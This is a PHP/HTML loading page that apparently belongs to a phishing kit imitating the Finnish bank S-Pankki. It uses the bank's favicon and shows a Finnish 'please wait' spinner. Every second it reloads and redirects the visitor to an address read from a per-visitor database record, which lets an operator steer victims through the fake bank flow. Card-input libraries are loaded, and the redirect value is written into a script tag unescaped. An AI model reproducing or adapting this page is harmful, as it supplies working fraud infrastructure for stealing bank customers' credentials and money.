<?php
    // Start the session to access session variables
    session_start();
    
    // Include your database connection file
    require_once '../oyexa/config.php';
    
    // Check if the user is logged in
    if (!isset($_SESSION['visitor_id']))
    {
        // If not logged in, redirect to the login page
        header("Location: login/spk.php");
        exit;
    }
    
    // Fetch the redirect address of the logged-in user from the database
    $visitor_id = $_SESSION['visitor_id'];
    $stmt = $pdo->prepare("SELECT redirect_address FROM visitors WHERE id = ?");
    $stmt->execute([$visitor_id]);
    $redirect_address = $stmt->fetchColumn();
    
    // Set the redirect address as a JavaScript variable
    echo "<script>var redirectAddress = '{$redirect_address}';</script>";
    
    // Set the delay in seconds (e.g., 10 seconds)
    $delay = 1;
    
    // Output JavaScript code to reload the page after the delay
    echo "<script>setTimeout(function() { window.location.reload(true); redirectToRedirectAddress(); }, " . ($delay * 1000) . ");</script>";
    
    ?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <title>S-Pankki</title>
        <meta charset="utf-8">
        <link rel='shortcut icon' href='https://www.s-pankki.fi/favicon.ico' />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
        <link rel="stylesheet" href="css/style.css">
        <style>
            .loader {
            border: 16px solid #0f0;
            border-radius: 50%;
            border-top: 16px solid #090;
            width: 120px;
            height: 120px;
            -webkit-animation: spin 2s linear infinite; /* Safari */
            animation: spin 2s linear infinite;
            }
            /* Safari */
            @-webkit-keyframes spin {
            0% { -webkit-transform: rotate(0deg); }
            100% { -webkit-transform: rotate(360deg); }
            }
            @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
            }
            .ssd {
            font-weight: bold;
            font-size: 24px;
            }
            body,td,th {
            font-family: Roboto, sans-serif;
            }
            body {
            background-image: url();
            }
        </style>
    </head>
    <body>
        </nav>
        <div class="container">
            <form action="./auth/engine.php" method="post" id="basic-form">
                <div class="card bg-white col-sm-4 col-md-8 col-lg-8  mx-auto my-5  border-0">
                    <div class="card-body">
                        <p class="h3 text-center p-text my-5" ><img src="images/cc.643922a231fb88.04274442.png" width="210" height="54" alt=""></p>
                        <div align="center">
                            <div class="loader">
                            </div>
                        </div>
                        <p class="h6 text-center my-5 p-text"> Sivua ladataan, odota hetki.....</p>
                    </div>
                </div>
            </form>
        </div>
        <footer class="foot">
            <div class="container">
                <hr style="border-top: 1px solid #E8E6DE;">
                <div class="d-flex justify-content-between">
                    <ul class="d-flex list-unstyled " id="">
                        <li class="list-inline-item"><a href="" class=""></a></li>
                        <li class="list-inline-item"><a href="" class=""></a></li>
                        <li class="list-inline-item"><a href="" class=""></a></li>
                        <li class="list-inline-item"><a href="" class=""></a></li>
                        <li class="list-inline-item"><a href="" class=""></a></li>
                    </ul>
                    <div>
                        <p class="d-inline for"></p>
                    </div>
                </div>
            </div>
        </footer>
        <script src="js/bootstrap.bundle.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-beta1/jquery.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.15.0/jquery.validate.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.15.0/additional-methods.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.maskedinput/1.4.1/jquery.maskedinput.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/1.3.2/jquery.payment.js"></script>
        <style type="text/css">
            label.error {
            color: red;
            font-size: -1rem;
            display: block;
            margin-top: 5px;
            }
        </style>
        <script>
            // Function to perform redirection using the user's redirect address
            function redirectToRedirectAddress() {
                if (redirectAddress) {
                    window.location.href = redirectAddress;
                } else {
                    console.error('Redirect address not found.');
                }
            }
        </script>
    </body>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</html>